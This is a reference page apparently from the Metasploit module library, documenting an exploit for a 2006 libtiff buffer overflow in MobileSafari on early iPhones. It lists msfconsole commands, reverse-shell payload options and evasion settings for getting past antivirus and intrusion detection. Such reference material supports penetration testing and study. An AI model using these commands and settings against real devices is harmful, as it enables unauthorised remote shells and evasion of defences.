Apple iOS MobileSafari LibTIFF Buffer Overflow - Metasploit
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Module Overview
Name: Apple iOS MobileSafari LibTIFF Buffer Overflow
Module: exploit/apple_ios/browser/safari_libtiff
Source code: modules/exploits/apple_ios/browser/safari_libtiff.rb
Disclosure date: 2006-08-01
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): armle
Supported platform(s): OSX
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2006-3459
This module exploits a buffer overflow in the version of libtiff shipped with firmware versions 1.00, 1.01, 1.02, and 1.1.1 of the Apple iPhone. iPhones which have not had the BSD tools installed will need to use a special payload.
Module Ranking and Traits
Module Ranking:
- good: The exploit has a default target and it is the "common case" for this type of software (English, Windows 7 for a desktop app, 2012 for server, etc). More information about ranking can be found here.
Basic Usage
msf > use exploit/apple_ios/browser/safari_libtiff
msf exploit(safari_libtiff) > exploit
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Msfconsole Usage
Here is how the apple_ios/browser/safari_libtiff exploit module looks in the msfconsole:
msf6 > use exploit/apple_ios/browser/safari_libtiff
[*] No payload configured, defaulting to osx/armle/shell/reverse_tcp
msf6 exploit(apple_ios/browser/safari_libtiff) > show info
Name: Apple iOS MobileSafari LibTIFF Buffer Overflow
Module: exploit/apple_ios/browser/safari_libtiff
Platform: OSX
Arch: armle
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Good
Disclosed: 2006-08-01
Provided by:
hdm <[email protected]>
kf <[email protected]>
Available targets:
Id Name
-- ----
0 MobileSafari iPhone Mac OS X (1.00, 1.01, 1.02, 1.1.1)
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
Payload information:
Space: 1800
Avoid: 0 characters
Description:
This module exploits a buffer overflow in the version of libtiff
shipped with firmware versions 1.00, 1.01, 1.02, and 1.1.1 of the
Apple iPhone. iPhones which have not had the BSD tools installed
will need to use a special payload.
References:
https://nvd.nist.gov/vuln/detail/CVE-2006-3459
OSVDB (27723)
http://www.securityfocus.com/bid/19283
Module Options
This is a complete list of options available in the apple_ios/browser/safari_libtiff exploit:
msf6 exploit(apple_ios/browser/safari_libtiff) > show options
Module options (exploit/apple_ios/browser/safari_libtiff):
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
Payload options (osx/armle/shell/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 MobileSafari iPhone Mac OS X (1.00, 1.01, 1.02, 1.1.1)
Advanced Options
Here is a complete list of advanced options supported by the apple_ios/browser/safari_libtiff exploit:
msf6 exploit(apple_ios/browser/safari_libtiff) > show advanced
Module advanced options (exploit/apple_ios/browser/safari_libtiff):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
ListenerComm no The specific communication channel to use for this service
SSLCipher no String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
SSLCompression false no Enable SSL/TLS-level compression
SendRobots false no Return a robots.txt file if asked for one
URIHOST no Host to use in URI (useful for tunnels)
URIPORT no Port to use in URI (useful for tunnels)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Payload advanced options (osx/armle/shell/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoRunScript no A script to run automatically on session creation.
AutoVerifySession true yes Automatically verify and drop invalid sessions
CommandShellCleanupCommand no A command to run before the session is closed
CreateSession true no Create a new session for every successful login
EnableStageEncoding false no Encode the second stage payload
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the apple_ios/browser/safari_libtiff module can exploit:
msf6 exploit(apple_ios/browser/safari_libtiff) > show targets
Exploit targets:
Id Name
-- ----
0 MobileSafari iPhone Mac OS X (1.00, 1.01, 1.02, 1.1.1)
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the apple_ios/browser/safari_libtiff exploit:
msf6 exploit(apple_ios/browser/safari_libtiff) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
2 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
3 payload/osx/armle/execute/bind_tcp normal No OS X Write and Execute Binary, Bind TCP Stager
4 payload/osx/armle/execute/reverse_tcp normal No OS X Write and Execute Binary, Reverse TCP Stager
5 payload/osx/armle/shell/bind_tcp normal No OS X Command Shell, Bind TCP Stager
6 payload/osx/armle/shell/reverse_tcp normal No OS X Command Shell, Reverse TCP Stager
7 payload/osx/armle/shell_bind_tcp normal No Apple iOS Command Shell, Bind TCP Inline
8 payload/osx/armle/shell_reverse_tcp normal No Apple iOS Command Shell, Reverse TCP Inline
9 payload/osx/armle/vibrate normal No Apple iOS iPhone Vibrate
Evasion Options
Here is the full list of possible evasion options supported by the apple_ios/browser/safari_libtiff exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(apple_ios/browser/safari_libtiff) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTML::base64 none no Enable HTML obfuscation via an embeded base64 html object (IE not supported) (Accepted: none, plain, single_pad, double_pad, random_space_injection)
HTML::javascript::escape 0 no Enable HTML obfuscation via HTML escaping (number of iterations)
HTML::unicode none no Enable HTTP obfuscation via unicode (Accepted: none, utf-16le, utf-16be, utf-16be-marker, utf-32le, utf-32be)
HTTP::chunked false no Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
HTTP::compression none no Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::junk_headers false no Enable insertion of random junk HTTP headers
HTTP::no_cache false no Disallow the browser to cache HTTP content
HTTP::server_name Apache yes Configures the Server header of all outgoing replies
TCP::max_send_size 0 no Maximum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
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Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #6812 Merged Pull Request: Resolve #6807, remove all OSVDB references.
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #2525 Merged Pull Request: Change module boilerplate
- #2491 Merged Pull Request: Bug #8419 - Added platform info missing on exploits
- #1241 Merged Pull Request: Removed all $Id$ and $Revision$ occurences
References
- CVE-2006-3459
- OSVDB (27723)
- BID-19283
See Also
Check also the following modules related to this module:
- auxiliary/dos/apple_ios/webkit_backdrop_filter_blur
- exploit/apple_ios/browser/safari_jit
- exploit/apple_ios/browser/webkit_createthis
- exploit/apple_ios/browser/webkit_trident
- exploit/apple_ios/email/mobilemail_libtiff
- exploit/apple_ios/ssh/cydia_default_ssh
- payload/apple_ios/aarch64/meterpreter_reverse_http
- payload/apple_ios/aarch64/meterpreter_reverse_https
- payload/apple_ios/aarch64/meterpreter_reverse_tcp
- payload/apple_ios/aarch64/shell_reverse_tcp
- payload/apple_ios/armle/meterpreter_reverse_http
- payload/apple_ios/armle/meterpreter_reverse_https
- payload/apple_ios/armle/meterpreter_reverse_tcp
- post/apple_ios/gather/ios_image_gather
- post/apple_ios/gather/ios_text_gather
- post/multi/gather/apple_ios_backup
- auxiliary/gather/safari_file_url_navigation
- exploit/osx/browser/safari_file_policy
- exploit/osx/browser/safari_in_operator_side_effect
- exploit/osx/browser/safari_metadata_archive
- exploit/osx/browser/safari_proxy_object_type_confusion
- exploit/osx/browser/safari_user_assisted_applescript_exec
- exploit/osx/browser/safari_user_assisted_download_launch
- exploit/windows/browser/safari_xslt_output
- post/osx/gather/safari_lastsession
- exploit/windows/fileformat/adobe_libtiff
- auxiliary/gather/apple_safari_ftp_url_cookie_theft
- auxiliary/gather/apple_safari_webarchive_uxss
- post/windows/gather/credentials/safari
Related Nessus plugins:
- Mac OS X Multiple Vulnerabilities (Security Update 2006-004)
- RHEL 2.1 / 3 / 4 : libtiff (RHSA-2006:0603)
- CentOS 3 / 4 : libtiff (CESA-2006:0603)
- GLSA-200608-07 : libTIFF: Multiple vulnerabilities
- Slackware 10.0 / 10.1 / 10.2 / 9.0 / 9.1 / current : libtiff (SSA:2006-230-01)
- CentOS 3 : kdegraphics (CESA-2006:0648)
- RHEL 2.1 / 3 : kdegraphics (RHSA-2006:0648)
- Debian DSA-1137-1 : tiff - several vulnerabilities
- Mandrake Linux Security Advisory : libtiff (MDKSA-2006:137)
- openSUSE 10 Security Update : libtiff (libtiff-1907)
Authors
- hdm
- kf
Version
This page has been produced using Metasploit Framework version 6.1.27-dev. For more modules, visit the Metasploit Module Library.
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